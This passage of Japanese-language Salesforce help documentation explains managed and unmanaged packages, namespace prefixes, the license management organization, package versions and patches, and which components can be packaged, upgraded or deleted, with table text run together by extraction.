パッケージのインストール
インストールによって、パッケージの内容が Salesforce組織に組み込まれます。AppExchangeのパッケージに
は、アプリケーション、コンポーネントまたはこの 2 つの組み合わせを含めることができます。パッケー
ジをインストールした後に、適宜パッケージのコンポーネントをリリースして組織のユーザが一般的に使
用できるようにします。

パッケージバージョン
パッケージバージョンは、パッケージでアップロードされる一連のコンポーネントを特定する番号です。
バージョン番号の形式は majorNumber.minorNumber.patchNumber  (例: 2.1.3) です。メジャー番号とマイ
ナー番号は、メジャーリリース時に指定した値に増えます。patchNumberは、パッチリリースにのみ生成
および更新されます。
未管理パッケージはアップグレードできないため、各パッケージバージョンは単に配布用コンポーネント
のセットです。パッケージバージョンは管理パッケージでより大きな意味を持ちます。パッケージは異な
るバージョンで異なる動作をします。公開者は、パッケージバージョンを使用して、パッケージを使用す
る既存の統合に影響を与えることなく後続のパッケージバージョンをリリースすることにより、管理パッ
ケージのコンポーネントを強化することができます。「パッチ」と「パッチ開発組織」も参照してくださ
い。

パッチ
パッチを使用することにより、開発者は、管理パッケージ内の既存のコンポーネントの機能を、登録者組
織にその動作の変更を意識させずに変更することができます。たとえば、新しい変数を追加したり、Apex

クラスの内容を変更したりできますが、その方法を追加、廃止、または削除することはできません。パッ
チは、すべてのパッケージバージョンに付加された patchNumber によって追跡されます。「パッチ開発
組織」および「パッケージバージョン」も参照してください。

パッチ開発組織
パッチバージョンを開発、維持、およびアップロードする組織。パッチ開発組織は、開発者組織がパッチ
の作成を要求すると、自動的に作成されます。「パッチ」および「パッケージバージョン」も参照してく
ださい。

パッチリリース
管理パッケージへの小規模なアップグレード。こうしたリリースでは、パッケージバージョンのパッチ番
号が増加します。

公開者
AppExchange リストの公開者とは、リストを公開した Salesforce ユーザまたは組織です。
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転送アップグレード
管理パッケージをインストールしたすべての組織にインストール済みの管理パッケージのアップグレード
を送信する、アップデートの配布方法です。

登録者
パッケージの登録者とは、Salesforce 組織にパッケージをインストールした Salesforce ユーザです。

機能制限トライアル
トライアルとは、特定のパッケージの公開者が追加したアプリケーションとサンプルレコードを含み、完
全に機能する Salesforce組織です。トライアルでは、AppExchangeのユーザが慣れた Salesforceインターフェー
スを使用して、参照専用ユーザとしてアプリケーションを体験できます。

未管理パッケージ
開発者がアップグレードまたは制御できないパッケージです。

アップグレード
パッケージのアップグレードは、新しいバージョンをインストールするプロセスです。Salesforce は、ベー
タ版ではない管理パッケージのアップグレードをサポートしています。

アップロード
Salesforce のパッケージをアップロードすると、インストール URL が表示され、他のユーザがインストール
できます。また、アップロードすると、パッケージを AppExchange に公開できるようになります。

関連トピック:

独自の Salesforce アプリケーションの構築
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管理パッケージの作成
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

管理パッケージを有効に
する
• 「アプリケーションの

カスタマイズ」

パッケージを作成する
• 「AppExchange パッ

ケージの作成」

パッケージをアップロー
ドする
• 「AppExchange パッ

ケージのダウンロー
ド」

管理パッケージの作成は、未管理パッケージの作成と同じように簡単です。管
理パッケージを作成するための唯一の要件は、Developer Edition 組織を使用してい
るということです。
管理パッケージを作成する前に、次の操作を実行します。
• 必要に応じて、http://sites.force.com/appexchangeからライセンス管理アプリケー

ション (LMA) をインストールします。「ライセンス管理アプリケーション」を
検索します。ライセンス管理アプリケーション (LMA) は、アプリケーション
をインストールした各ユーザに関する情報を追跡します。ユーザとそのユー
ザが所有するバージョンが追跡できるため、どのユーザにアップグレードの
情報を通知すれば良いかがわかります。
ライセンス管理アプリケーション (LMA) は、Personal Edition、Group Edition、ま
たは Professional Edition を除く Salesforce 組織にインストールできます。インス
トール先の組織は、パッケージの作成やアップロードを行うSalesforce組織と
異なっていても、同じであってもかまいません。また、同じライセンス管理
アプリケーション (LMA) を使用して、複数の Developer Edition 組織で使用され
る管理パッケージをいくつでも管理できます。

• 開発者設定を定義します。開発者設定では、名前空間プレフィックス、ライ
センス管理アプリケーション (LMA) をインストールする Salesforce 組織、およ
び管理パッケージに変換したい未管理パッケージを指定できます。

管理パッケージについて
開発者設定の定義
名前空間プレフィックスの登録
ライセンス管理組織の指定

関連トピック:

パッケージの管理
未管理パッケージから管理パッケージへの変換
開発者設定の定義
名前空間プレフィックスの登録
ライセンス管理組織の指定
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管理パッケージについて

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

管理パッケージとは、ユニットとしてAppExchangeに投稿され、名前空間とライ
センス管理組織に関連付けられるアプリケーションコンポーネントの集合です。
• 管理パッケージを作成し、利用するには Developer Edition の組織が必要です。
• 管理パッケージは、次のアイコンで表されます。

– 管理-ベータ
– 管理-リリース
– 管理-インストール済み
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開発者設定の定義

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

開発者設定を定義する
• 「アプリケーションの

カスタマイズ」

パッケージを作成する
• 「AppExchange パッ

ケージの作成」

パッケージをアップロー
ドする
• 「AppExchange パッ

ケージのアップロー
ド」

Developer Edition 組織で開発者設定を行うと、単一の管理パッケージを作成して、
AppExchangeにアップロードできます。これにより、他のユーザは、そのパッケー
ジをそれぞれの組織でインストールおよびアップグレードできます。一度指定
した開発者設定は、変更できません。開発者設定に関係なく、未管理パッケー
ジはいくつでも作成できます。
開発者設定を定義する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケー

ジ] を選択します。
2. [編集] をクリックします。

メモ: すでに開発者設定が定義されている場合は、このボタンは表示さ
れません。

3. 開発者設定に必要な選択項目を確認し、[次へ] をクリックします。
4. 名前空間プレフィックスを登録します。
5. 管理パッケージに変換するパッケージを選択します。変換するパッケージが

ない場合は、この項目を空白のままにして、後で更新します。
6. [選択内容の確認] をクリックします。
7. [保存] をクリックします。

ヒント: 管理パッケージのライセンス管理組織 (LMO) の指定を行う場合、詳
細は http://sites.force.com/appexchange/publisherHome を参照してください。

関連トピック:

管理パッケージの作成
名前空間プレフィックスの登録
ライセンス管理組織の指定
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名前空間プレフィックスの登録

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パッケージコンテキストでは、名前空間プレフィックスとはAppExchangeにある
自社パッケージとそのコンテンツを他の開発者のパッケージと区別するための
1 ～ 15 文字の英数字で構成される識別子です。名前空間プレフィックスでは、
大文字小文字は区別されません。たとえば、ABC と abc は一意として認識されま
せん。名前空間プレフィックスは、すべてのSalesforce組織にわたって必ずグロー
バルに一意なものを指定します。名前空間プレフィックスを使用することで、
各自の管理パッケージのみを管理できるようになります。
Salesforceでは、Salesforce組織のすべての一意のコンポーネント名に自動的に名前
空間プレフィックスとそれに続く 2 つのアンダースコア (__) を追加します。一意
のパッケージコンポーネントとは、カスタムオブジェクト、カスタム項目、カ
スタムリンク、Sコントロール、および入力規則など、Salesforce内の他のコンポー
ネントで使用されていない名前を持つパッケージコンポーネントです。たとえ
ば、名前空間プレフィックスが abc であり、管理パッケージに Expense__c という
API 名のカスタムオブジェクトがある場合、abc__Expense__c という API 名を使用
して、API経由でこのオブジェクトにアクセスします。名前空間プレフィックス
は、すべてのコンポーネントの詳細ページに表示されます。

警告: Sコントロールライブラリに保存されている Sコントロール、または
Force.com APIを使用しない [ドキュメント] タブは、名前空間プレフィックス
の登録後も正常に機能します。ただし、組織外に保存された Sコントロー
ル、または Force.com API を使用して Salesforceを呼び出す Sコントロールは、
微調整が必要な場合があります。詳細は、『オブジェクトリファレンス』
の「Scontrol」を参照してください。

名前空間プレフィックスは、以下の条件で指定します。
• 1 文字目が英字である。
• 1 ～ 15 文字までの英数字を含む。
• アンダースコア (_) を 2 つ続けて入力しない。
たとえば、myNp123 と my_np は有効な名前空間ですが、123Company と my__np は無効です。
名前空間プレフィックスを登録する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「パッケージ」と入力します。[作成] で[パッケージ]を選択します。

メモ: この項目は、Salesforce Classic でのみ使用できます。

2. [開発者設定] パネルで、[編集] をクリックします。

メモ: すでに開発者設定が定義されている場合は、このボタンは表示されません。

3. 開発者設定に必要な選択項目を確認し、[次へ] をクリックします。
4. 登録する名前空間プレフィックスを入力します。
5. [使用可能か調べる] をクリックして、名前空間プレフィックスが使用済みかどうかを確認します。
6. 入力した名前空間プレフィックスを使用できない場合は、上記の 2 つの手順を繰り返します。
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7. [選択内容の確認] をクリックします。
8. [保存] をクリックします。

関連トピック:

管理パッケージの作成
開発者設定の定義
ライセンス管理組織の指定

ライセンス管理組織の指定

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ライセンス管理組織とは、管理パッケージをインストールするすべてのSalesforce

ユーザの追跡に使用する Salesforce 組織です。ライセンス管理組織は、ユーザが
パッケージをインストールまたはアンインストールしたときに (リードレコード
の形式で) 通知を受信し、Force.com AppExchangeにアップロードされた各パッケー
ジを追跡します。
ライセンス管理組織には、AppExchange から、無償のライセンス管理アプリケー
ション (LMA)をインストールした任意のSalesforce Enterprise Edition、Unlimited Edition、
Performance Edition、または Developer Edition 組織を指定できます。ライセンス管理
組織を指定するには、http://sites.force.com/appexchange/publisherHome にアクセスし
てください。

関連トピック:

管理パッケージの作成
開発者設定の定義
名前空間プレフィックスの登録
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パッケージの管理
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージをアップロー
ドする
• 「AppExchange パッ

ケージのアップロー
ド」

パッケージは、AppExchangeを介して他の組織で使用可能な Force.comのコンポー
ネントおよびアプリケーションの集合です。管理パッケージとは、ユニットと
してAppExchangeに投稿され、名前空間とライセンス管理組織に関連付けられる
アプリケーションコンポーネントの集合です。アップグレードをサポートする
には、管理パッケージであることが必要です。組織は、他の多くの組織でダウ
ンロードおよびインストールできる単一の管理パッケージを作成できます。管
理パッケージは、未管理パッケージとは異なり、コンポーネントの一部がロッ
クされていて、後でアップグレードできます。未管理パッケージには、ロック
されたコンポーネントは含まれておらず、アップグレードはできません。また、
管理パッケージでは、開発者の知的財産保護のため、登録している組織では特
定のコンポーネント (Apex など) は隠されます。
パッケージを管理するには、[設定] から [クイック検索] ボックスに「パッケー
ジ」と入力し、[パッケージ] を選択します。カスタマイズについての詳細は、
「開発者設定の定義」 (ページ 6969)を参照してください。
パッケージのリストから、次の操作を実行できます。
• [新規] をクリックして新しいパッケージを作成できます。パッケージ名と説

明を入力して、[保存] をクリックすると、パッケージのリストに保存できま
す。

• [編集] をクリックして、パッケージのプロパティを更新できます。
• [削除]をクリックして、パッケージを削除できます。パッケージ内のコンポー

ネントは削除されません。
• パッケージ名をクリックすると、そのパッケージの詳細を参照できます。

メモ: アップロードしたパッケージについて、テストドライブの作成また
はライセンス管理組織 (LMO)の選択を行うには、パッケージのアップロード
詳細ページから [AppExchange に移動する] をクリックします。

パッケージバージョンについて
パッケージの作成
パッケージは、Salesforce 組織間でカスタム機能を配布するためのコンテナです。パッケージを作成して、
アプリケーションまたは Lightning コンポーネントをAppExchangeにアップロードしたり、組織間で変更をリ
リースしたりします。
パッケージへのコンポーネントの追加
管理パッケージで使用可能なコンポーネント
保護コンポーネント
パッケージに自動的に追加されるコンポーネント
インストール後のコンポーネントと属性の編集
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パッケージでのコンポーネントの動作
配布するアプリケーションを作成する場合は、パッケージに含めるもの、アプリケーションの設計方法、
およびパッケージの配布方法 (管理または未管理) を決定してください。
パッケージの権限セットおよびプロファイルの設定
開発者は権限セットまたはプロファイル設定を使用して、権限およびその他のアクセス設定をパッケージ
に許可できます。権限セット、プロファイル設定、または両方の組み合わせを使用するかどうかを決定す
る場合は、類似点と相違点を考慮します。

関連トピック:

パッケージについて
パッケージの作成

パッケージバージョンについて

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パッケージバージョンは、パッケージでアップロードされる一連のコンポーネ
ントを特定する番号です。バージョン番号の形式は
majorNumber.minorNumber.patchNumber  (例: 2.1.3) です。メジャー番号とマ
イナー番号は、毎回のメジャーリリース時に選択した値に増えます。
patchNumberは、パッチリリースにのみ生成および更新されます。未管理パッ
ケージはアップグレードできないため、各パッケージバージョンは単に配布用
コンポーネントのセットです。パッケージバージョンは管理パッケージでより
大きな意味を持ちます。パッケージは異なるバージョンで異なる動作をします。
公開者は、パッケージバージョンを使用して、そのパッケージを使用する既存
の顧客のインテグレーションに影響を与えることなく後続のパッケージバージョ
ンをリリースすることにより、管理パッケージのコンポーネントを強化するこ
とができます。
バージョン番号は、パッケージのリリース種別によって異なり、リリース種別
はパッケージの配布方法を識別します。次の 2 種類があります。
メジャーリリース

メジャーリリースは、 管理-リリース済みパッケージを示します。こうし
たリリースでは、メジャー番号およびマイナー番号が選択した値に増えま
す。

パッチリリース
パッチリリースは、パッケージのパッチバージョンに限られます。こうしたリリースでは、パッケージバー
ジョンのパッチ番号が増加します。

既存の登録ユーザが新しいパッケージをインストールした場合、パッケージ内の各コンポーネントのインスタ
ンスは 1 つだけですが、コンポーネントは古いバージョンをエミュレートできます。たとえば、登録ユーザが
Apexクラスを含む管理パッケージを使用するとします。公開者がApexクラスのメソッドを廃止し、新しいパッ
ケージバージョンをリリースする場合でも、新しいバージョンをインストールした後、登録者は Apex クラス
のインスタンスを 1 つのみ使用できます。ただし、この Apex クラスは、古いバージョンの廃止されたメソッ
ドを参照するコードの以前のバージョンをエミュレートできます。

6973

パッケージの管理アプリケーションのパッケージ化および配布



パッケージ開発者は条件付きロジックを Apex クラスとトリガで使用し、異なるバージョンに異なる動作をさ
せることができます。こうすることで、パッケージ開発者は、コード開発を続けながら以前のパッケージバー
ジョンのクラスとトリガでの既存の動作をサポートし続けることができます。
API を使用してクライアントアプリケーションを開発する場合は、インテグレーションで使用する各パッケー
ジのバージョンを指定できます。

関連トピック:

パッケージの管理
管理パッケージのリリースの計画

パッケージの作成

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージを作成する
• 「AppExchange パッ

ケージの作成」

パッケージは、Salesforce組織間でカスタム機能を配布するためのコンテナです。
パッケージを作成して、アプリケーションまたは Lightning コンポーネントを
AppExchange にアップロードしたり、組織間で変更をリリースしたりします。
1. [設定] から、[クイック検索] ボックスに「パッケージ」と入力し、[パッケー

ジ] を選択します。
2. [新規] をクリックします。
3. パッケージの名前を入力します。このパッケージの名前が、AppExchange上に

表示される名前と同じである必要はありません。
4. ドロップダウンメニューから、パッケージのすべてのコンポーネントラベル

のデフォルト言語を選択します。
5. 必要に応じて、[カスタムリンクの設定]項目からカスタムリンクを選択し、

アプリケーションをインストールするユーザに設定情報を表示します。ホー
ムページレイアウト用に作成した URL または Sコントロールへの定義済みの
カスタムリンクが選択できます。「アプリケーションのドキュメントの開
発」 (ページ7040)を参照してください。このカスタムリンクは、Salesforce内の
[設定]リンクとして、Force.com AppExchangeダウンロードページとインストー
ルするユーザの組織のアプリケーションの詳細ページに表示されます。

6. 必要に応じて、[Apex エラーを通知]項目に、Apexコードでキャッチできな
い例外がApexで発生した場合にメール通知を受信するユーザのユーザ名を入
力します。ユーザ名を指定しないと、検出されないすべての例外について
メール通知が生成され、Salesforce に送信されます。このオプションは、管理
パッケージでのみ使用できます。

メモ: Apex は、Developer、Enterprise、Unlimited、および Performance エディションを使用する組織でのみ
パッケージ化できます。

7. 登録者がパッケージアプリケーションのインストール、アップグレード、またはアンインストールに失敗
し、エラーが発生した場合、必要に応じて [パッケージ化エラーを通知] 項目にメール通知を受信するユー
ザのメールアドレスを入力します。この項目は、パッケージ化エラーの通知が有効になっている場合にの
み表示されます。通知を有効にするには、Salesforce の担当者までお問い合わせください。
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8. 必要に応じて、パッケージの説明を入力します。AppExchangeにアップロードする前に、この説明を変更す
ることができます。

9. 必要に応じて、インストール後スクリプトを指定します。これは、パッケージのインストールまたはアッ
プグレード後に登録者組織で実行されるApexスクリプトです。詳細は、「パッケージのインストール/アッ
プグレード時の Apex の実行」を参照してください。

10. 必要に応じて、アンインストールスクリプトを指定します。これは、パッケージのアンインストール後に
登録者組織で実行される Apex スクリプトです。詳細は、「パッケージのアンインストール時の Apex の実
行」を参照してください。

11. [保存] をクリックします。

関連トピック:

配布用アプリケーションの準備

パッケージへのコンポーネントの追加

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Developer Edition

パッケージアップロード
およびインストールを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージを作成する
• 「AppExchange パッ

ケージの作成」

パッケージの作成後は、アプリケーション、オブジェクト、Apex クラスまたは
Visualforceページなどのコンポーネントをパッケージに追加する必要があります。
これらのパッケージをアップロードして他のユーザと非公開で共有したり、
Force.com  AppExchange に投稿して公開して共有したりできます。
コンポーネントをパッケージに追加するには、[設定] から、[クイック検索]ボッ
クスに「パッケージ」と入力し、[パッケージ]を選択します。次に、コンポーネ
ントを追加するパッケージの名前を選択します。パッケージの詳細ページでは、
次の操作を実行できます。
1. [コンポーネントを追加] をクリックします。
2. ドロップダウンリストから、パッケージに追加するコンポーネントの種別を

選択します。
• リストの上にある文字をクリックすると、並び替えた列のその文字で始

まる行が表示されます。
• [次のページ] (または [前のページ]) のリンクをクリックすると、次のコン

ポーネント (または前のコンポーネント) に移動します。
• リストの下にある [減らす] または [さらに表示] をクリックして、リスト

の表示件数を変更します (可能な場合)。

3. 追加するコンポーネントを選択します。
4. [パッケージに追加] をクリックします。
5. パッケージにすべてのコンポーネントが追加されるまで、この手順を繰り返

します。

関連トピック:

パッケージの管理
配布用アプリケーションの準備
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管理パッケージで使用可能なコンポーネント
すべてのコンポーネントを配布用にパッケージ化できるわけではありません。パッケージ化できないコンポー
ネントを使用するアプリケーションを作成すると、登録者はアプリケーションをインストールした後に、これ
らのコンポーネントを作成し、設定する必要があります。登録者にとってインストールの簡易性が重要な場合
は、開発時にはパッケージ化できるコンポーネントを作成することを念頭に置いてください。
管理パッケージで使用可能なコンポーネント、およびこれらのコンポーネントが更新可能または削除可能か
を、次の表に示します。次のセクションで、表の列と値について説明します。
アップグレード可能

パッケージをアップグレードするときに一部のコンポーネントが新しいバージョンに更新されます。
• いいえ: コンポーネントはアップグレードされません。
• はい: コンポーネントはアップグレードされます。

登録者による削除可能
パッケージの登録者またはインストーラがコンポーネントを削除できます。
• いいえ: 登録者はコンポーネントを削除できません。
• はい: 登録者はコンポーネントを削除できます。

開発者による削除可能
開発者は、パッケージが「管理-リリース済み」としてアップロードされた後に、一部のコンポーネントを
削除できます。削除されたコンポーネントは、パッケージのアップグレード中に登録者の組織では削除さ
れません。「保護可能」属性に、コンポーネントの削除についての詳細が示されています。
• いいえ: 開発者は「管理-リリース済み」コンポーネントを削除できません。
• はい: 開発者は「管理-リリース済み」コンポーネントを削除できます。

保護可能
開発者は、特定のコンポーネントに保護マークを付けることができます。保護コンポーネントは、登録者
の組織で作成されたコンポーネントからリンク付けしたり参照したりすることはできません。開発者は、
今後のリリースで、インストールの失敗を心配することなく保護コンポーネントを削除できます。ただし、
コンポーネントが非保護に設定され、グローバルにリリースされると、開発者は削除できなくなります。
登録者がコンポーネントが削除されているパッケージバージョンにアップグレードすると、登録者の組織
からそのコンポーネントが削除されます。
• いいえ: コンポーネントに保護マークを付けることができません。
• はい: コンポーネントに保護マークを付けることができます。

IP の保護
特定のコンポーネントには、Apex コードを隠すなど、知的財産の保護が自動的に含まれます。唯一の例外
には、グローバルとして宣言されているApexメソッドがあります。それらのメソッド署名は登録者でも参
照できます。パッケージ化して公開するコンポーネント内の情報は、AppExchangeのユーザに表示されるこ
とがあります。カスタムSコントロール、数式、Visualforceページ、またはアプリケーション内で隠せないそ
の他のコンポーネントにコードを追加する場合は、注意してください。
• いいえ: コンポーネントは知的財産の保護をサポートしていません。
• はい: コンポーネントは知的財産の保護をサポートしています。
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IP の保護保護可能開発者による削
除可能

登録者による削
除可能

アップグレード
可能

コンポーネント

いいえいいえいいえいいえはいアクション

はいいいえはい (global ア
クセスに設定さ
れていない場合)

いいえはいApex クラス

いいえいいえいいえいいえはいApex 共有の理由

いいえいいえはいはいいいえApex 共有再適用

はいいいえはいいいえはいApex トリガ

いいえいいえはいはいいいえアプリケーショ
ン

いいえいいえいいえいいえはい記事タイプ

いいえいいえいいえはいいいえコールセンター

いいえいいえいいえいいえはいコンパクトレイ
アウト

いいえいいえはいはいはい接続アプリケー
ション

いいえいいえ。カスタ
ムリンクを除く

はい**はい*はいカスタムボタン
またはカスタム
リンク (ホームページの

み)

いいえいいえはい**はい*はいカスタムコン
ソールコンポー
ネント (13)

いいえいいえはい**はい*はいカスタム項目

いいえはいはい。保護され
ている場合

いいえはいカスタム表示ラ
ベル

いいえいいえはい**はい*はいカスタムオブ
ジェクト

いいえいいえいいえいいえはいカスタム権限

いいえいいえいいえいいえはいカスタムレポー
トタイプ

はいいいえはい**はい*はいカスタム設定

13
Service Cloud ライセンスが必要
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IP の保護保護可能開発者による削
除可能

登録者による削
除可能

アップグレード
可能

コンポーネント

いいえいいえはいはいいいえダッシュボード

いいえいいえはいはいいいえドキュメント

いいえいいえはいはいいいえメールテンプ
レート

いいえいいえいいえいいえはい外部データソー
ス

いいえいいえはい**はい*はい項目セット

いいえいいえいいえいいえはいLightning ページ

いいえいいえいいえはいはいフロー

いいえいいえはいはいいいえフォルダ

いいえいいえいいえいいえはいホームページの
コンポーネント

いいえいいえはいはいいいえホームページの
ページレイアウ
ト

いいえいいえはいはいいいえレターヘッド

いいえいいえいいえいいえいいえLightning アプリ
ケーション

いいえいいえいいえいいえはいLightning コン
ポーネント

いいえいいえいいえいいえはいLightning イベン
ト

いいえいいえいいえいいえはいLightning イン
ターフェース

いいえいいえはいはいいいえリストビュー

いいえいいえいいえいいえはい指定ログイン情
報

いいえいいえはいはいいいえページレイアウ
ト

いいえいいえはい**はい*はい権限セット

いいえいいえいいえいいえいいえプラットフォー
ムキャッシュ
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IP の保護保護可能開発者による削
除可能

登録者による削
除可能

アップグレード
可能

コンポーネント

「フロー」を参照。プロセス

いいえいいえはい**はい*はいレコードタイプ

いいえいいえはいはいいいえリモートサイト
の設定

いいえいいえはいはいいいえレポート

いいえいいえはいはいいいえレポート作成ス
ナップショット

いいえいいえいいえいいえはいSコントロール

いいえいいえはい**はい*はい静的リソース

いいえいいえはい**はい*はいタブ

いいえいいえいいえいいえはいトランスレー
ション

いいえいいえはい**はい*はい入力規則

はいいいえはい**はい***はいVisualforce コン
ポーネント

いいえいいえはい**はい*はいVisualforceページ

いいえいいえはいいいえはいWave アプリケー
ション

いいえいいえはいいいえはいWave ダッシュ
ボード

いいえいいえはいいいえはいWave データフ
ロー

いいえいいえはいいいえはいWave データセッ
ト

いいえいいえはいいいえはいWave レンズ

いいえはいはい。保護され
ている場合

いいえはいワークフロー
メールアラート

いいえはいはい。保護され
ている場合

いいえはいワークフロー項
目自動更新

いいえはいはい。保護され
ている場合

いいえはいワークフローア
ウトバウンド
メッセージ
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IP の保護保護可能開発者による削
除可能

登録者による削
除可能

アップグレード
可能

コンポーネント

いいえいいえいいえいいえはいワークフロー
ルール

いいえはいはい。保護され
ている場合

いいえはいワークフロー
ToDo

* この種類のコンポーネントを新バージョンのパッケージおよび登録者のアップグレードから削除すると、登
録者組織の管理者 (システム管理者) がコンポーネントを削除できます。
** パッケージ化する組織でコンポーネントの削除機能が有効になっていると、この種類のコンポーネントが
「管理-リリース済み」パッケージの一部であっても削除できます。
*** Visualforce の公開コンポーネントを新バージョンのパッケージおよび登録者のアップグレードから削除する
と、コンポーネントはアップグレード時に登録者組織から削除されます。Visualforce コンポーネントがグロー
バルの場合は、管理者 (システム管理者) がコンポーネントを削除するまで登録者組織に残ります。
コンポーネントの属性と動作

コンポーネントの一部の属性のみをアップグレードできます。多くのコンポーネントは、管理パッケージ
内で動作が異なったり、追加制限があったりします。パッケージを設計するときに、これらの動作を考慮
することが重要です。
VisualforceページまたはApexコードでフローを参照した後に名前空間を登録する場合、必ずフロー名に名前
空間を追加してください。追加しない場合、パッケージのインストールに失敗します。

Visualforce ページとグローバル Visualforce コンポーネントの削除
パッケージからVisualforceページまたはグローバルVisualforceコンポーネントを削除する前に、削除するペー
ジまたはコンポーネントから公開Apexクラスおよび公開Visualforceコンポーネントへのすべての参照を削除
します。参照を削除したら、ページまたはグローバルコンポーネントを削除する前に、登録者を中間パッ
ケージバージョンにアップグレードします。

関連トピック:

ISVforce ガイド: 管理パッケージのコンポーネントの削除

保護コンポーネント
開発者は、特定のコンポーネントに保護マークを付けることができます。保護コンポーネントは、登録者の組
織で作成されたコンポーネントからリンク付けしたり参照したりすることはできません。開発者は、今後のリ
リースで、インストールの失敗を心配することなく保護コンポーネントを削除できます。ただし、コンポーネ
ントが非保護に設定され、グローバルにリリースされると、開発者は削除できなくなります。
開発者は、管理パッケージの次のコンポーネントに保護マークを付けることができます。
• カスタム表示ラベル
• カスタムリンク (ホームページのみ)

• ワークフローアラート
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• ワークフロー項目自動更新
• ワークフローアウトバウンドメッセージ
• ワークフロー ToDo

• ワークフローフロートリガ
フロートリガワークフローアクションのパイロットプログラムは終了します。組織でパイロットをすでに
有効にしている場合は、引き続きフロートリガワークフローアクションを作成および編集できます。組織
で パイロットを有効にしなかった場合は、代わりにプロセスビルダーの[フロー] アクションを使用します。

パッケージに自動的に追加されるコンポーネント
パッケージにコンポーネントを追加するときに、必要に応じて一部の関連コンポーネントが自動的に追加され
ます。たとえば、カスタムコントローラを参照するパッケージに Visualforce ページを追加すると、その Apex ク
ラスも追加されます。
自動的に含まれる可能性があるコンポーネントを把握するには、次のリストを参照してください。

自動的に追加される可能性があるコンポーネントの種類追加するコンポーネント

アクションの対象オブジェクト (カスタムオブジェクトの場合)、アクショ
ンの対象項目、アクションのレコードタイプ、事前定義された項目値、ア

アクション

クションレイアウト、および対象オブジェクトについてアクションレイア
ウトまたは事前定義された値が参照するカスタム項目

レポートレポート作成スナップショット

カスタム項目、カスタムオブジェクト、その他の明示的に参照される Apex

クラス、および Apex クラスの直接的な参照対象
Apex クラス

メモ: Apexクラスがカスタム表示ラベルを参照していて、その表示ラ
ベルが翻訳されている場合、翻訳が含まれるようにするには、必要な
個々の言語を明示的にパッケージ化する必要があります。

カスタム項目、カスタムオブジェクト、明示的に参照されるApexクラス、
および Apex トリガの直接的な参照対象

Apex トリガ

カスタム項目、デフォルトのページレイアウト記事タイプ

カスタム項目コンパクトレイアウト

カスタムタブ (Web タブを含む)、ドキュメント (タブ上に画像として格納)、
ドキュメントフォルダ

カスタムアプリケーション

カスタム項目およびカスタムオブジェクトカスタムボタンまたはカスタム
リンク

カスタムオブジェクトカスタム項目

レイアウト上のカスタムホームページのコンポーネントカスタムホームページのレイア
ウト
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自動的に追加される可能性があるコンポーネントの種類追加するコンポーネント

Apex共有の理由、Apex共有再適用、Apexトリガ、カスタムボタンまたはカ
スタムリンク、カスタム項目、リストビュー、ページレイアウト、レコー
ドタイプ、入力規則

カスタム設定

カスタム項目、入力規則、ページレイアウト、リストビュー、カスタムボ
タン、カスタムリンク、レコードタイプ、Apex共有の理由、Apex共有再適
用、Apex トリガ

カスタムオブジェクト

メモ:

• Apex 共有の理由は、拡張では利用できません。
• パッケージ化およびインストールされるときには、アプリケーショ

ンの公開リストビューのみがインストールされます。カスタムオ
ブジェクトに、パッケージに含める必要があるカスタムリスト
ビューがある場合は、すべてのユーザが確実にリストビューにア
クセスできるようにします。

外部データソース、カスタム項目、ページレイアウト、リストビュー、カ
スタムボタン、カスタムリンク

カスタムオブジェクト (外部オブ
ジェクトとして)

メモ:

• パッケージ化およびインストールされるときには、アプリケーショ
ンの公開リストビューのみがインストールされます。外部オブジェ
クトにカスタムリストビューがあり、パッケージに含める必要が
ある場合は、すべてのユーザが確実にリストビューにアクセスで
きるようにします。

• 管理パッケージおよび未管理パッケージでは、外部オブジェクト
はカスタムオブジェクトコンポーネントに含まれます。

カスタムオブジェクト (そのコンポーネントもすべて含む)、Sコントロー
ル、Visualforce ページ

カスタムタブ

フォルダ、レポート (そのコンポーネントもすべて含む)、Sコントロール、
Visualforce ページ

ダッシュボード

フォルダドキュメント

フォルダ、レターヘッド、カスタム項目、ドキュメント (レターヘッドまた
はテンプレート上に画像として格納)

メールテンプレート

参照対象項目項目セット

関連付けられたすべてのアクションLightning ページ

Lightning ページLightning ページのタブ

カスタムオブジェクト、カスタム項目、Apex クラス、Visualforce ページフロー
